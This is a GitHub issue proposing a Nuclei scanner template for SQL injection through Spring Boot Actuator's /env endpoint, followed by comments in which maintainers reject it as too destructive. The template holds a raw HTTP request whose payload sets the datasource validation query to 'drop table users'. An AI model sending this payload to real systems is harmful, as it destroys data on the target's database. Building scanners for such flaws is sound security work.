nuclei-templates
nuclei-templates copied to clipboard
Spring Boot Actuators - SQLi
id: spring-boot-actuators-sqli
info:
name: Spring Boot Actuators - SQLi
author: Akincibor
severity: high
description: A misconfiguration allows you to specify any SQL query, and it will be automatically executed against the current database. It could be any statement, including insert, update, or delete.
reference:
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
tags: sqli
requests:
- raw:
- |
POST /env HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Lenqth:57
spring.datasource.tomcat.validationQuery=drop+table+users
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"spring.datasource.tomcat.validationQuery":"drop table users"}'
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
drop table users
seems to be a super intrusive query
Is it possible to insert SLEEP
and check the response time?
Hi @akincibor, The response time to this issue was much longer than usual. Thank you for taking the time to create this issue and for contributing to this project 🍻
I am closing this because the template is so intrusive that it is not suitable for public repo. You are welcome to create another issue if you think we can update the template to be less destructive.